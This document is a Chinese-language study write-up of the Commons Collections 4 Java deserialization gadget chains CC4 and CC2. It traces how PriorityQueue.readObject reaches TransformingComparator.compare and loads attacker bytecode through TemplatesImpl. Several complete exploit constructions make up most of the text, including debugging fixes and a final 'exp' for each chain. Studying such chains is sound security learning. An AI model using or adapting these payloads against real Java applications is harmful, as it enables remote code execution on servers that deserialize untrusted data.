CC4

一.环境分析
<1.1>添加依赖
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
IDEA自动加载

<1.2>不同于CC3
CC4介绍:
- CC4中不是像之前学的用LazyMap或TransformedMap调transform方法,变成了TransformingComparator.compare.(.transform),CC4后面也是用的CC3加载类代码执行(InstantiateTransformer,TrAXFilter,TemplatesImpl)
commons-collections3中TransformingComparator没有继承Serializable,commons-collections4中才继承
二.分析过程
<2.1>尾部
和CC3一样加载类执行代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| TemplatesImpl templates = new TemplatesImpl(); Class<TemplatesImpl> c1 = TemplatesImpl.class; Field name = c1.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field tfactory = c1.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); Field bytecodes = c1.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class")); byte[][]codes={code}; bytecodes.set(templates,codes); InstantiateTransformer<Object> instantiateTransformer = new InstantiateTransformer<>(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers={ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
|
找到TransformingComparator.compare**.transform**
直接构造器里面传chainedTransformer

1 2
| TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
|
<2.3>PriorityQueue
找到PriorityQueue.readObject.heapify.siftDown.siftDownUsingComparator**.compare**
从入口类PriorityQueue中(一直在这个类)走到TransformingComparator.compare(.get)
刚好comparator,TransformingComparator是相同类型,直接构造器传参即可




三.构造exp
<3.1>构造
现在构造如下,但是什么也没发生,也没有报错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| TemplatesImpl templates = new TemplatesImpl(); Class<TemplatesImpl> c1 = TemplatesImpl.class; Field name = c1.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field tfactory = c1.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); Field bytecodes = c1.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class")); byte[][]codes={code}; bytecodes.set(templates,codes); InstantiateTransformer<Object> instantiateTransformer = new InstantiateTransformer<>(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers={ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); serialize(priorityQueue); unserialize("ser.bin");
|
<3.2>调试
调试一下
问题1
PriorityQueue.heapify
此时size=0,(0>>>1)-1=-1,不会进入循环调siftDown()
当size为2,(2>>>1)-1=0才能进入for循环

1 2
| priorityQueue.add(1); priorityQueue.add(2);
|

还有就是注意从readObject跟进去发现之后调到compare(arg1,arg2)
arg1和arg2就是add()两次传进去的值,所以这就为CC2直接连InvokerTransformer奠定了基础哈哈(因为transform方法的参数就是可控的了,不需要用到数组了)

1 2 3 4
| Class<PriorityQueue> c2 = PriorityQueue.class; Field size = c2.getDeclaredField("size"); size.setAccessible(true); size.set(priorityQueue,2);
|
问题2
发现add之后,还没有反序列化就弹计算器了
这里add和之前put比较像,会提前消耗利用链 add()—>offer()—>siftUp()—>siftUpUsingComparator()—>compare().transform()
所以就得先断开,add之后再反射赋值



补充:
后面学习CB时才发现,对这里并没有搞清楚
add两次的时候一是为了使size变成2,在反序列化的时候满足条件能遍历,继续调后续利用链
二是给数组queue赋值,值会一直传到后面,作为后续compare方法的参数
- add时提前消耗也是有条件的:size要不为0,也就是说第一次add的时候并不会提前消耗

跟进去第二次add发现传进去的参数是 数组queue[0] (即第一次传进去的值) 和 第二次传进去的值

在真正反序列化时的利用:
传的参数是数组queue[0]


所以所以add修改size时,一定第一个add传参TrAXFilter.class
<3.3>最终构造
可以直接反射修改size为2,也可以add两次(add需要注意会提前触发,它也可以不用数组)
直接反射修改size
- 传参可以有两种方法:
- 反射修改数组queue[] 或者 add一次传参(这么做可以不用数组了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| TemplatesImpl templates = new TemplatesImpl(); Class<TemplatesImpl> c1 = TemplatesImpl.class; Field name = c1.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field tfactory = c1.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); Field bytecodes = c1.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class")); byte[][]codes={code}; bytecodes.set(templates,codes); InstantiateTransformer<Object> instantiateTransformer = new InstantiateTransformer<>(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers={ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
Class<PriorityQueue> c2 = PriorityQueue.class; Field size = c2.getDeclaredField("size"); size.setAccessible(true); size.set(priorityQueue,2);
serialize(priorityQueue); unserialize("ser.bin");
|
从CB回来看发现反射修改size的话,可以变得再简单点,不用数组了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| TemplatesImpl templates = new TemplatesImpl(); Class<TemplatesImpl> c1 = TemplatesImpl.class; Field name = c1.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field tfactory = c1.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); Field bytecodes = c1.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class")); byte[][]codes={code}; bytecodes.set(templates,codes); InstantiateTransformer<Object> instantiateTransformer = new InstantiateTransformer<>(new Class[]{Templates.class}, new Object[]{templates});
TransformingComparator transformingComparator = new TransformingComparator<>(instantiateTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(TrAXFilter.class);
Class<PriorityQueue> c2 = PriorityQueue.class; Field size = c2.getDeclaredField("size"); size.setAccessible(true); size.set(priorityQueue,2);
serialize(priorityQueue); unserialize("ser.bin");
|
add修改size
由于add提前触发利用链,要先断开后面,防止本地执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| TemplatesImpl templates = new TemplatesImpl(); Class<TemplatesImpl> c1 = TemplatesImpl.class; Field name = c1.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field tfactory = c1.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); Field bytecodes = c1.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class")); byte[][]codes={code}; bytecodes.set(templates,codes); InstantiateTransformer<Object> instantiateTransformer = new InstantiateTransformer<>(new Class[]{Templates.class}, new Object[]{templates}); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(TrAXFilter.class); priorityQueue.add(5); Class<TransformingComparator> c2 = TransformingComparator.class; Field transformer = c2.getDeclaredField("transformer"); transformer.setAccessible(true); transformer.set(transformingComparator,instantiateTransformer);
serialize(priorityQueue); unserialize("ser.bin");
|
CC2
一.前言
CC2和CC4没啥区别,调newTransformer不同而已
- CC2就是直接用TransformingComparator连接InvokerTransformer.transform.(TemplateImpl.newInstance),
- CC4中ChainedTransformer.transform–>InstantiateTransformer.transform(TrAXFilter.class)—>TrAXFilter.constructor.newInstance
直接用InvokerTransformer调,没有用到数组
二.分析过程
<2.1>尾部
CC2后半部分就还是代码执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| TemplatesImpl templates = new TemplatesImpl(); Class<TemplatesImpl> c1 = TemplatesImpl.class; Field name = c1.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field tfactory = c1.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); Field bytecodes = c1.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class")); byte[][]codes={code}; bytecodes.set(templates,codes);
|
这里不同于CC4,直接用InvokerTransformer调newTransformer
为了防止后面put时本地执行,他要先断开
1 2
| InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator<Object, Integer> transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
|
<2.3>后续与CC4一样
因为CC2没有用数组,直接用的InvokerTransformer.transform()调TemplateImpl.newTransformer,所以前面要传transform()的参数
跟进一下发现,add的第一个值就是TransformingComparator.compare.(transformer.transform(arg)) 的arg
1 2 3 4 5 6 7 8 9
| PriorityQueue<Object> queue = new PriorityQueue<>(transformingComparator); queue.add(templates); queue.add(templates); Class<TransformingComparator> c2 = TransformingComparator.class; Field comparator = c2.getDeclaredField("transformer"); comparator.setAccessible(true); comparator.set(transformingComparator,invokerTransformer); serialize(queue); unserialize("ser.bin");
|
三.最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| TemplatesImpl templates = new TemplatesImpl(); Class<TemplatesImpl> c1 = TemplatesImpl.class; Field name = c1.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field tfactory = c1.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); Field bytecodes = c1.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class")); byte[][]codes={code}; bytecodes.set(templates,codes); InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator<Object, Integer> transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue<Object> queue = new PriorityQueue<>(transformingComparator); queue.add(templates); queue.add(templates); Class<TransformingComparator> c2 = TransformingComparator.class; Field comparator = c2.getDeclaredField("transformer"); comparator.setAccessible(true); comparator.set(transformingComparator,invokerTransformer); serialize(queue); unserialize("ser.bin");
|
其他的payload和上面CC4差不多的
四.小结

下面是不需要用到数组的:
其实就CC1(官方的和TransformedMap都不行)不能控制transform的参数
CC6是TiedMapEntry(中key即为参数),CC3前面与CC1相连的自然不能传了,与CC6相连就能传
CC4,CC2是PriorityQueue中 第一个add的即为transform参数
也就是说CC3前面与CC6相连,CC2,CC4与TransformerComparator.compare相连都能不用数组